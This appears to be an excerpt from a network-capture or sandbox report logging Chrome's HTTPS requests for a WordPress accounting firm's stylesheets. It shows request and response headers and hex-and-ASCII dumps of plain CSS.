2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 78 2d 61 63 63 2d 68 65 61 64 65 72 2d 69 6e 64 69 63 61 74 6f 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 20 6e 6f 77 72 61 70 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 78 2d 61 63 63 2d 68 65 61 64 65 72 2d 74 65 78 74 7b 66 6c 65 78 3a 31 20 30 20 30 25 7d 2e 78 2d 61 63 63 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 78 2d 61 63 63 2d 63 6f Data Ascii: y-content:flex-start;align-items:center}.x-acc-header-indicator{display:flex;flex-flow:row nowrap;justify-content:center;align-items:center;line-height:1;text-align:center}.x-acc-header-text{flex:1 0 0%}.x-acc-content{position:relative;z-index:1}.x-acc-co
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 69 76 65 2e 69 73 2d 66 6c 69 70 2d 72 69 67 68 74 20 2e 78 2d 63 61 72 64 2d 66 61 63 65 73 20 2e 69 73 2d 66 72 6f 6e 74 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 59 28 31 38 30 64 65 67 29 7d 2e 78 2d 63 61 72 64 2e 69 73 2d 61 63 74 69 76 65 2e 69 73 2d 66 6c 69 70 2d 72 69 67 68 74 20 2e 78 2d 63 61 72 64 2d 66 61 63 65 73 20 2e 69 73 2d 62 61 63 6b 7b 74 72 61 6e 73 66 6f 72 6d 3a 75 6e 73 65 74 7d 2e 78 2d 63 61 72 64 2e 69 73 2d 61 63 74 69 76 65 2e 69 73 2d 66 6c 69 70 2d 75 70 20 2e 78 2d 63 61 72 64 2d 66 61 63 65 73 20 2e 69 73 2d 66 72 6f 6e 74 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 58 28 31 38 30 64 65 67 29 7d 2e 78 2d 63 61 72 64 2e 69 73 2d 61 63 74 69 76 65 2e 69 73 2d 66 6c 69 70 2d 75 70 20 2e 78 2d 63 61 72 64 2d Data Ascii: ive.is-flip-right .x-card-faces .is-front{transform:rotateY(180deg)}.x-card.is-active.is-flip-right .x-card-faces .is-back{transform:unset}.x-card.is-active.is-flip-up .x-card-faces .is-front{transform:rotateX(180deg)}.x-card.is-active.is-flip-up .x-card-
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 3b 66 6c 65 78 3a 31 20 31 20 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 72 61 6e 73 66 6f 72 6d 2d 73 74 79 6c 65 3a 70 72 65 73 65 72 76 65 2d 33 64 3b 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 74 72 61 6e 73 66 6f 72 6d 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 78 2d 63 61 72 64 2d 66 61 63 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 Data Ascii: ;justify-items:stretch;align-items:stretch;flex:1 1 auto;position:relative;transform-style:preserve-3d;will-change:transform;-webkit-backface-visibility:hidden;backface-visibility:hidden}.x-card-face{display:flex;flex-flow:column nowrap;justify-content:ce
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 20 6e 6f 77 72 61 70 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 78 2d 63 6f 75 6e 74 64 6f 77 6e 2d 75 6e 69 74 3a 6e 6f 74 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 78 2d 63 6f 75 6e 74 64 6f 77 6e 2d 75 6e 69 74 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 7d 2e 78 2d 63 6f 75 6e 74 64 6f 77 6e 2d 6e 75 6d 62 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 20 6e Data Ascii: ex;flex-flow:row nowrap;justify-content:center;align-items:center}.x-countdown-unit:not(:last-child):after{display:inline;font-style:normal;line-height:1}.x-countdown-unit-content{display:flex;flex:0 0 auto}.x-countdown-number{display:flex;flex-flow:row n
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6e 74 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 78 2d 74 61 62 73 2d 6c 69 73 74 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 2e 78 2d 74 61 62 73 2d 6c 69 73 74 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 61 2c 2e 78 2d 74 61 62 73 2d 6c 69 73 74 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 62 75 74 74 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 2d 74 61 62 73 2d 6c 69 73 74 20 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 2e 78 2d 74 61 62 73 2d 6c 69 73 74 20 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 20 61 2c 2e 78 2d 74 61 62 73 2d 6c 69 73 74 20 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 20 62 75 74 74 6f 6e 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e Data Ascii: nt;white-space:nowrap}.x-tabs-list li:first-child,.x-tabs-list li:first-child a,.x-tabs-list li:first-child button{margin-left:0!important}.x-tabs-list li:last-child,.x-tabs-list li:last-child a,.x-tabs-list li:last-child button{margin-right:0!important}.
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 72 61 6d 65 73 20 78 2d 73 6c 69 64 65 2d 72 69 67 68 74 7b 33 33 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 33 34 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 35 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 78 2d 73 6c 69 64 65 2d 62 6f 74 74 6f 6d 7b 33 33 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 33 34 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 30 Data Ascii: rames x-slide-right{33%{opacity:0;transform:none}34%{opacity:0;transform:translate(50%)}to{opacity:1;transform:translate(0)}}@keyframes x-slide-bottom{33%{opacity:0;transform:none}34%{opacity:0;transform:translateY(100%)}to{opacity:1;transform:translate(0
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 78 2d 72 6f 77 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 20 6e 6f 77 72 61 70 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 3b 77 69 64 74 68 3a 61 75 74 6f 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d Data Ascii: none;margin:0;border:0;border-radius:0;padding:0}.x-row{display:flex;position:relative;flex-flow:row nowrap;justify-content:center;align-items:stretch;width:auto;min-width:0;max-width:none;height:auto;min-height:0;max-height:none;margin:0;border:0;border-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	586	OUT	GET /wp-content/themes/x-child/style.css?ver=10.4.16 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	710	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2530 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "642304ad-9e2" last-modified: Tue, 28 Mar 2023 15:15:57 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18178-EWR, cache-ewr18137-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867694.405176,VS0,VE63 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2f 2a 0a 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 42 46 4a 20 54 61 78 20 26 20 41 63 63 6f 75 6e 74 69 6e 67 0a 41 75 74 68 6f 72 3a 20 77 6b 20 74 68 65 6d 65 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 4d 61 6b 65 20 61 6c 6c 20 6f 66 20 79 6f 75 72 20 6d 6f 64 69 66 69 63 61 74 69 6f 6e 73 20 74 6f 20 58 20 69 6e 20 74 68 69 73 20 63 68 69 6c 64 20 74 68 65 6d 65 2e 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 2e 30 0a 54 65 6d 70 6c 61 74 65 3a 20 78 0a 0a 2a 2f 0a 0a 2e 6d 61 73 74 68 65 61 64 2e 6d 61 73 74 68 65 61 64 2d 69 6e 6c 69 6e 65 0a 7b 0a 09 0a 09 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2e 69 6e 6e 65 72 5f 70 61 6e 65 6c 20 70 20 7b 0a 09 0a 09 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 20 Data Ascii: /Theme Name: BFJ Tax & AccountingAuthor: wk themeDescription: Make all of your modifications to X in this child theme.Version: 1.0.0Template: x/.masthead.masthead-inline{display:none !important;}.inner_panel p { margin: 0 0 10px
2024-04-11 20:34:54 UTC	1152	IN	Data Raw: 6e 67 3a 20 36 30 70 78 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 0a 2e 74 65 61 6d 5f 6f 74 68 65 72 20 2e 6f 76 65 72 6c 61 79 5f 62 6f 78 20 68 33 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4d 6f 6e 74 73 65 72 72 61 74 2d 42 6f 6c 64 27 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 6e 73 65 74 3b 0a 7d 0a 0a 2e 74 65 61 6d 5f 6f 74 68 65 72 3a 68 6f 76 65 72 Data Ascii: ng: 60px; position: absolute; right: 0; text-align: center; top: 0; width: 100%;}.team_other .overlay_box h3 { color: #fff; font-family: 'Montserrat-Bold'; font-size: 22px; text-transform: unset;}.team_other:hover

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	578	OUT	GET /wp-content/themes/x-child/css/style.css HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 22955 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "6422ccfb-59ab" last-modified: Tue, 28 Mar 2023 11:18:19 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18172-EWR, cache-ewr18179-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867694.448096,VS0,VE180 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 47 6f 74 68 61 6d 42 6f 6c 64 27 3b 73 72 63 3a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 47 6f 74 68 61 6d 42 6f 6c 64 2e 65 6f 74 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 47 6f 74 68 61 6d 42 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 47 6f 74 68 61 6d 42 6f 6c 64 2e 74 74 66 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 7d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 Data Ascii: @font-face{font-family:'GothamBold';src:url('../fonts/GothamBold.eot') format('embedded-opentype'),url('../fonts/GothamBold.woff') format('woff'),url('../fonts/GothamBold.ttf') format('truetype');font-weight:normal;font-style:normal;}@font-face{font-fa
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 78 3a 20 39 39 3b 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 20 6c 69 20 75 6c 2e 73 75 62 2d 6d 65 6e 75 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 28 30 2c 20 30 2c 20 30 29 20 6e 6f 6e 65 20 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 30 20 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6d 65 64 69 75 6d 20 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 33 37 70 78 3b 77 69 64 74 68 3a 32 32 35 70 78 3b 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 20 6c 69 20 75 6c 2e 73 75 62 2d 6d 65 6e 75 20 6c 69 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 33 70 78 20 31 30 70 78 3b 77 69 64 74 68 3a Data Ascii: x: 99;}.navigation ul li ul.sub-menu{background:rgb(0, 0, 0) none repeat scroll 0 0;border-bottom:medium none;display:none;padding:5px 0;position:absolute;top:37px;width:225px;}.navigation ul li ul.sub-menu li{float:left;margin:0;padding:3px 10px;width:
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6e 65 72 20 69 6d 67 7b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2e 68 65 61 64 65 72 20 2e 6c 6f 67 6f 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 2e 68 65 61 64 65 72 5f 73 65 63 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2e 68 65 61 64 65 72 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 39 70 78 3b 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 70 Data Ascii: ner img{width:100%;}.header .logo{float:left;}.header_sec{float:left;margin-top:10px;width:100%;}.header .container{position:relative;}.navigation{float:left;margin-left:50px;margin-top:39px;}.navigation ul{float:left;width:100%;margin:0px;padding:0p
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6f 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 3a 37 70 78 20 31 33 70 78 3b 7d 0a 2e 62 61 6e 6e 65 72 5f 74 65 78 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 70 78 3b 72 69 67 68 74 3a 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 6f 70 3a 34 30 25 3b 7d 0a 2e 62 61 6e 6e 65 72 31 20 68 31 7b 63 6f 6c 6f 72 3a 23 65 63 65 63 65 63 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 47 6f 74 68 61 6d 42 6f 6f 6b 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 34 70 78 20 30 20 31 33 70 78 20 72 67 62 61 28 31 2c 20 31 2c 20 31 2c Data Ascii: ok;font-size:12px;padding:7px 13px;}.banner_text{position:absolute;left:0px;right:0px;float:left;width:100%;text-align:center;top:40%;}.banner1 h1{color:#ececec;font-family:GothamBook;text-transform:inherit!important;text-shadow:4px 0 13px rgba(1, 1, 1,
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2e 73 65 72 76 69 63 65 5f 74 79 70 65 20 69 6d 67 7b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2e 6f 76 65 72 6c 61 79 5f 62 6f 78 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 35 30 29 20 6e 6f 6e 65 20 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 30 20 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 72 69 67 68 74 3a 30 70 78 3b 62 6f 74 74 6f 6d 3a 30 70 78 3b 74 6f 70 3a 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 36 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 2e 6f 76 65 72 6c 61 79 5f 62 6f 78 20 68 33 7b 2f 2a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a Data Ascii: ve;width:100%;}.service_type img{width:100%;}.overlay_box{background:rgba(0, 0, 0, 0.50) none repeat scroll 0 0;position:absolute;left:0px;text-align:center;right:0px;bottom:0px;top:0px;width:100%;padding:60px;float:left;}.overlay_box h3{/*font-family:
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 70 61 64 64 69 6e 67 3a 31 33 70 78 20 32 32 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 3b 7d 0a 2e 6c 65 61 72 6e 5f 6d 6f 72 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 7d 0a 2e 6c 65 61 72 6e 5f 6d 6f 72 65 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 0a 2e 6f 75 72 5f 74 65 61 6d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 35 30 70 78 20 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 Data Ascii: -size:16px;color:#fff;border-radius:3px;padding:13px 22px;margin-top:10px;text-transform:uppercase;}.learn_more:hover{color:#fff;}.learn_more:focus{color:#fff;outline:none;box-shadow:none;}.our_team{float:left;width:100%;padding:50px 0px;background:#ff
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 33 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 7d 0a 2e 6e 65 77 73 5f 74 65 78 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 30 70 78 3b 7d 0a 2e 62 74 6e 5f 63 65 6e 74 65 72 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 0a 2e 63 6f 6e 74 61 63 74 5f 75 73 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 33 64 33 64 33 3b 7d 0a 2e 63 6f 6e 74 61 63 74 5f 74 78 74 7b 70 61 64 64 69 6e 67 3a 35 30 70 78 20 30 70 78 20 30 70 78 20 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 2e 63 6f 6e 74 61 63 Data Ascii: ;font-size:18px;margin-top:13px;float:left;width:100%;}.news_text{padding-left:30px;}.btn_center{float:left;width:100%;text-align:center;}.contact_us{float:left;width:100%;background:#d3d3d3;}.contact_txt{padding:50px 0px 0px 30px;float:left;}.contac
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 70 61 67 65 2d 69 64 2d 36 20 23 77 70 63 66 37 2d 66 35 34 2d 6f 31 20 2e 77 70 63 66 37 2d 73 75 62 6d 69 74 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 34 38 70 78 3b 0a 7d 0a 2e 70 61 67 65 2d 69 64 2d 36 20 23 77 70 63 66 37 2d 66 35 34 2d 6f 31 20 2e 69 6e 76 61 6c 69 64 20 2e 77 70 63 66 37 2d 73 75 62 6d 69 74 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 31 34 38 70 78 3b 0a 7d 0a 2e 70 61 67 65 2d 69 64 2d 36 20 23 77 70 63 66 37 2d 66 35 34 2d 6f 31 20 2e 69 6e 76 61 6c 69 64 20 2e 77 70 63 66 37 2d 72 65 73 70 6f 6e 73 65 2d 6f 75 74 70 75 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 39 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 66 6f 6f 74 65 72 7b 66 6c 6f 61 74 Data Ascii: important;}.page-id-6 #wpcf7-f54-o1 .wpcf7-submit{ margin-top: -48px;}.page-id-6 #wpcf7-f54-o1 .invalid .wpcf7-submit{ margin-top: -148px;}.page-id-6 #wpcf7-f54-o1 .invalid .wpcf7-response-output { margin-top: -90px !important;}.footer{float
